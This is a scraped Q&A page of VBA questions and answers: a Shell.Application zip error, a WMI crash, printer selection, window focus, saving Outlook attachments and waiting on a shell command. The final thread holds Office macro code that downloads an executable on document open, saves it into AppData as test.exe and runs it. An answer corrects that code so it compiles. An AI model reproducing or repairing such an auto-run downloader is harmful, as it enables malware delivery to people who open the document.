Create zip error: Namespace method fails on IShellDispatch - excel

We have been trying to resolve this issue for almost a week now without an answer.
Issue: While creating zip file, an error is thrown saying "The method Namespace failed on IShellDispatch6."
What we have tried so far?
Our code is based on instructions at https://www.rondebruin.nl/win/s7/win001.htm. It works on our development environments but explicitly fails on few of client's machine.
Our code:
Code (vb):
Option Explicit
Public zipfile As Variant ' Care taken that this must be a variant
Private baseDirectory As Variant ' Care taken that this must be a variant
Private FileName As String ' This needn't be a variant - tried and tested.
Private done As Boolean
#If VBA7 Then
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwmilliseconds As Long)
#Else
Private Declare Sub Sleep Lib "kernel32" (ByVal dwmilliseconds As Long)
#End If
' Optional folderNumber taken to try create 10 zip files in a loop.
' Read somewhere that shell activities spawn into separate threads.
' A loop can expose any such vulneribility
Public Sub zip(Optional folderNumber As Integer = 0)
Dim oApp
Dim dFolder
Sleep 100
baseDirectory = "C:\Users\Siddhant\AppData\Local\Temp\b w\"
zipfile = "" & baseDirectory & "stestzip" & CStr(folderNumber) & ".zip"
FileName = "" & baseDirectory & "stestzip.txt"
'Set dFolder = CreateObject("WScript.Shell")
Set oApp = CreateObject("Shell.Application")
Debug.Print "Starting zip process at " & CStr(VBA.Timer) & ". First creating zip file."
' Note the round brackets below around zipfile - These evaluate zipfile at run-time.
' These are not for parameter passing but to force evaluation.
NewZip (zipfile)
Debug.Print "Zip created at " & CStr(VBA.Timer)
'On Error GoTo here
' On development machine, following works fine.
' On client machine, call to oApp.Namespace(zipfile) fails
' giving error message described at beginning of this post..
Debug.Print "Critical Error----------------" & CStr(oApp.Namespace(zipfile) Is Nothing)
Dim loopChecker As Integer
loopChecker = 1
' On client machine, code doesn't even reach here.
While oApp.Namespace(zipfile) Is Nothing
' Well this loop simply waits 3 seconds
' in case the spawned thread couldn't create zipfile in time.
Debug.Print "Waiting till zip gets created."
Sleep 100
If loopChecker = 30 Then
Debug.Print "Wated 3 seconds for zip to get created. Can't wait any longer."
GoTo afterloop
End If
loopChecker = loopChecker + 1
Wend
afterloop:
Debug.Print "Now Condition is ---------------" & CStr(oApp.Namespace(zipfile) Is Nothing)
If oApp.Namespace(zipfile) Is Nothing Then
Debug.Print "Couldnot create zip file " & zipfile
Exit Sub
End If
Set dFolder = oApp.Namespace(zipfile)
'MsgBox FileName
Sleep 200
dFolder.CopyHere "" & FileName, 4
'Keep script waiting until Compressing is done
On Error Resume Next
Do Until dFolder.Items.Count = 1
done = False
'Application.Wait (Now + TimeValue("0:00:01"))
Sleep 100 'wait for 1/10 th of second
Loop
done = True
On Error GoTo 0
here:
If Not dFolder Is Nothing Then
Set dFolder = Nothing
End If
If Not oApp Is Nothing Then
Set oApp = Nothing
End If
End Sub
Public Function Success() As Boolean
Success = done
End Function
Public Sub ClearFileSpecs()
FileName = ""
End Sub
Public Sub AddFileSpec(FileLocation As String)
FileName = FileLocation
End Sub
Sub NewZip(sPath)
'Create empty Zip File
If Len(Dir(sPath)) > 0 Then Kill sPath
Debug.Print "Creating zip file"
Open sPath For Output As #1
Debug.Print "Zip file created, writing zip header"
Print #1, Chr$(80) & Chr$(75) & Chr$(5) & Chr$(6) & String(18, 0)
Debug.Print "zip header written, closing file."
Close #1
Debug.Print "Closing zip file."
End Sub
Function Split97(sStr As Variant, sdelim As String) As Variant
Split97 = Evaluate("{""" & _
Application.Substitute(sStr, sdelim, """,""") & """}")
End Function
Sub testZipping()
Dim i As Integer
For i = 1 To 10
zip i
Next i
MsgBox "Done"
End Sub
Sub tryWait()
Dim i As Integer
For i = 1 To 10
Sleep 2000
Next i
End Sub
By the way, we have also tried another solution to call oApp.Namespace((zipfile)) forcing evaluation of zipfile variable. Many forums described another issue where literal strings worked with oApp.Namespace("c:\an\example"). In such forums solution to use 2 round brackets was suggested.
But neither keeping "DIM zipfile As Variant" worked nor "oApp.Namespace((zipfile))" work.
Could it be the case that the shell32.dll is damaged on client's machine? Please help! I would be quite thankful for any help offered!
I've also posted this issue at http://forum.chandoo.org/threads/create-zip-error-namespace-method-fails-on-ishelldispatch.34010/

We were finally able to get this through. When it came down to Namespace() method failing on IShellDispatch instance, OS installation had to be repaired which fixed the issue. Further, we later discovered that relying on Windows Shell based zipping isn't reliable enough as the copyhere() method doesn't return any status of completion. Additionally, it is asynchronous which mandates hacks like putting a loop after copyhere() call. This loop would sleep few milliseconds and compare source and target folders' items. This hack causes a possible conflict in actual copyhere operation and the comparison query. We have finally moved on to implementing ZLib based DLL that can help us with our compression and decompression requirements.

Related

GetObject("winmgmts:... crashes Excel 2016 with no Errors

I am debugging some VBA code I've written in Excel 2016, and this sub is crashing Excel 2016 on windows Server with no errors.
It is crashing on the Set RegObj = GetObject...
Sub TestPrinter()
On Error GoTo e
Dim RegObj As Object
'This next line is where the crash occurs...
Set RegObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
Exit Sub
e:
MsgBox "Error number " & Err & " in TestPrinter" & vbCrLf & "Error: " & Error$(Err)
End Sub
My end goal is to enumerate the printers connected on the machine, and then set Application.ActivePrinter based on the string I pull out of the registry. This code is working fine on every other machine I've tried it on - but fails on this one server.
How can I go about debugging this? The error handler is never hit.
This does not answer your question but rather provides an alternative solution to setting the active printer.
You can use something like this to get the printer names:
Public Function GetPrinterNames() As Collection
Dim coll As New Collection
Dim i As Long
'
On Error Resume Next
With CreateObject("WScript.Network")
For i = 1 To .EnumPrinterConnections.Count Step 2
coll.Add .EnumPrinterConnections(i)
Next
End With
On Error GoTo 0
Set GetPrinterNames = coll
End Function
Note that the above does NOT give you the port number but that is not really necessary as you could use something like this to set the printer:
'*******************************************************************************
'Sets the ActivePrinter without requiring the winspool port number
'*******************************************************************************
Public Function SetPrinter(ByVal printerName As String) As Boolean
If LenB(printerName) = 0 Then Exit Function
Dim i As Long
'
On Error Resume Next
Application.ActivePrinter = printerName
If Err.Number = 0 Then
SetPrinter = True
Exit Function
End If
Err.Clear
For i = 0 To 99
Application.ActivePrinter = printerName & " on NE" & Format$(i, "00:")
If Err.Number = 0 Then
SetPrinter = True
Exit Function
End If
Err.Clear
Next i
On Error GoTo 0
End Function

How to set focus and bring window of ThisWorkbook to front?

Purpose
Check for a numeric xls file on my desktop. If not found bring Thisworkbook to front.
Problem
If there are already opened workbooks, Thisworkbook remains in background. No error is raised.
Cause
Function Get_Highest_Numeric_Name although the function itself is working.
What I tried
Replacing ThisWorkbook.Activate with
AppActivate ((ThisWorkbook.Name) & " - Excel")
I got this error on AppActivate line
Invalid procedure call or argument
Strangely the error is not raised if I run that code from the code window.
Any way using AppActivate (ThisWorkbook.Nameā€¦) is not reliable, because it requires this option ( File name extension ) is enabled on Windows system.
Private Sub Workbook_Open()
If Len(Get_Highest_Numeric_Name("D:\Users\Waleed\Desktop\", "*.xls")) = 24 Then 'for Question on Stackoverflow
MsgBox "File not found", vbCritical + vbMsgBoxSetForeground, "File not found"
ThisWorkbook.Activate
Exit Sub
End If
End Sub
Function Get_Highest_Numeric_Name(strFold As String, Optional strext As String = "*.*") As String
Dim arrD, lastName As String, lngNb As Double, El
'Return all files name in an array
arrD = Split(CreateObject("wscript.shell").Exec("cmd /c dir """ & strFold & strext & """ /b").StdOut.ReadAll, vbCrLf)
If UBound(arrD) = -1 Then MsgBox "Nothing could be found in the path you supplied...": Exit Function
arrD(UBound(arrD)) = "####": arrD = Filter(arrD, "####", False) 'Remove the last (empty) element
For Each El In arrD 'iterate between the array elements
If IsNumeric(Split(El, ".")(0)) Then
'Compare the lngNb variable (initially 0) with the numeric value:
If lngNb < CDbl(Split(El, ".")(0)) Then
'addapt lngNb like the bigger number
lngNb = CDbl(Split(El, ".")(0)): lastName = El
End If
End If
Next
Get_Highest_Numeric_Name = strFold & lastName 'Build the necessary path
End Function
I tried hopelessly adding to the code an additional function API into a separate module ,to produce new message box with timeout.
Anyhow, using this API fixed the issue (I do not know why this happened).
Note: If I comment the line of MsgBoxTimeout, the problem error raising again.
Private Sub Workbook_Open()
If Len(Get_Highest_Numeric_Name("D:\Users\Waleed\Desktop\", "*.xls")) = 24 Then
Call MsgBoxTimeout(0, "File not found", "File not found", vbInformation + vbMsgBoxSetForeground, 0, 2000)
Exit Sub
End If
End Sub
'This function exists on a separate module
Public Declare Function MsgBoxTimeout Lib "user32" Alias "MessageBoxTimeoutA" ( _
ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, _
ByVal wType As VbMsgBoxStyle, ByVal wlange As Long, ByVal dwTimeout As Long) As Long

Auto Save attachment from Outlook 365

I tried to approach my goal using in-build Outlook rules however without success so I decide to use VBA script but it is not also working properly.
Scenario:
Every 1h I am reciving email with report in xls format, which need to be saved on share folder. Every 1h report can be overridden by new one. I don't need any date and time in file name just save file which was received.
I have dedicated sub folder in inbox, where all emails which contains in topic string "Sales Report" have to be moved. I tried to create rule - when email is recive then move it to subfolder, and afterward run VBA scrip which allows to save attachment. However it is not working as sometimes instead of saving xls file, script is saving file "ATP Scan In Progress". Looks like script is saving xls file before file was scanned by in-built Outlook scanner.
Is there any way to delay saving xls until scan will be completed, or there is any other way to aproach my goal.
Thank you for support.
Public Sub SaveAttachmentsToDisk(MItem As Outlook.MailItem)
Dim oAttachment As Outlook.Attachment
Dim sSaveFolder As String
sSaveFolder = "\\reports\jon\"
For Each oAttachment In MItem.Attachments
oAttachment.SaveAsFile sSaveFolder & oAttachment.DisplayName
Next
End Sub
Something like this should work...
In ThisOutlookSession
Private WithEvents ReportItems As Outlook.Items
Private Sub Application_Startup()
On Error Resume Next
With Outlook.Application
Set ReportItems = .GetNamespace("MAPI").GetDefaultFolder(olFolderInbox).Folders("Sales Reports").Items
End With
End Sub
Private Sub ReportItems_ItemAdd(ByVal Item As Object)
On Error Resume Next
If TypeName(Item) = "MailItem" Then Call SaveXLSAttachments(Item, "\\reports\jon\")
End Sub
In a module
Sub SaveXLSAttachments(ByVal Item As Object, FilePath As String)
Dim i As Long, FileName As String, Extension As String
If Right(FilePath, 1) <> "\" Then FilePath = FilePath & "\"
Delay(5) 'If required
Extension = ".xls"
With Item.Attachments
If .Count > 0 Then
For i = 1 To .Count
FileName = FilePath & .Item(i).FileName
If LCase(Right(FileName, Len(Extension))) = Extension Then .Item(i).SaveAsFile FileName
Next i
End If
End With
End Sub
Function Delay(Seconds As Single)
Dim StopTime As Double: StopTime = Timer + Seconds
Do While Timer < StopTime
DoEvents
Loop
End Function

Excel VBA Wait For Shell to Finish before continuing with script

Right now I have this VBA script:
Sub executeFTPBatch(ftpfileName)
Call Shell("FTP -i -s:C:\Temp\" & ftpfileName & ".txt")
On Error Resume Next
Kill (C:\temp\" & ftpfileName & ".txt")
End Sub
The problem is that it kills the text file before the FTP script has even begun. I saw some wsh codes, but I wasn't sure of the syntax on how to use it with respect to calling the shell FTP. If you can help me with the correct syntax I would really appreciate it!
Use WScript's Shell instead, then you can check the status of the command
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Function RunCMD(ByVal strCMD As String) As String
'Runs the provided command
Dim wsh As New wshShell
Dim cmd As WshExec
Dim x As Integer
On Error GoTo wshError
x = 0
RunCMD = "Error"
Set cmd = wsh.Exec(strCMD)
Do While cmd.Status = WshRunning
Sleep 100 'for 1/10th of a second
x = x + 1
If x > 1200 Then 'We've waited 2 minutes so kill it
cmd.Terminate
MsgBox "Error: Timed Out", vbCritical, "Timed Out"
End If
Loop
RunCMD = cmd.StdOut.ReadAll & cmd.StdErr.ReadAll
Exit Function
wshError:
RunCMD = cmd.StdErr.ReadAll
End Function
This is a function I use, and it will return the status of the command including any errors.
(Almost forgot the Sleep declaration!)
(Edit 2: You will also want to include a reference to the Windows Script Host Object Model (wshom.ocx) so you can use the Intellisense features)
I prefered omegastripe's suggest:
Public Sub RunCMD(ByVal strCMD As String)
'Runs the provided command
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
Call wsh.Run(strCMD, 2, True)
End Sub
With 2 as second param to avoid windows to popup

Compile Error: Argument Not Optional-MSWord

Doing some simple VBA scripting and run into a bit of a roadblock. (I'm a very new VBA coder).
When I compiled the following code, I keep getting "Compile Error: Argument Not Optional" and yet I can't seem to find any errors (probably just my idiocy).
The code is supposed to download a file (I've just got the PuTTy executable for testing) and then load it into the AppData folder and execute.
Appreciate the help.
Sub Auto_Open()
input
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
Set pass = CreateObject('MSXML2.XMLHTTP')
pass.Open 'GET', pass2, False
pass.Send 'send request
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> '' Then Kill pass3
Open pass3 For Binary As # hard
Put # hard, , helper
Close # hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub input()
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe'
End Sub
Please see my comments in your code. I highly recommend visiting the vba wiki page, as it has some great resources for people new to the language. I didn't test or debug the code at all. I just corrected the obvious mistakes so that it will compile.
Option Explicit
Sub AutoOpen()
'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub
Sub Workbook_Open()
AutoOpen
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
Set pass = CreateObject("MSXML2.XMLHTTP")
pass.Open "GET", pass2, False
pass.Send "send request"
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> "" Then Kill pass3
Open pass3 For Binary As #hard
Put #hard, , helper
Close #hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub someInput() ' you can't use input, it's a reserved work
var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub

Resources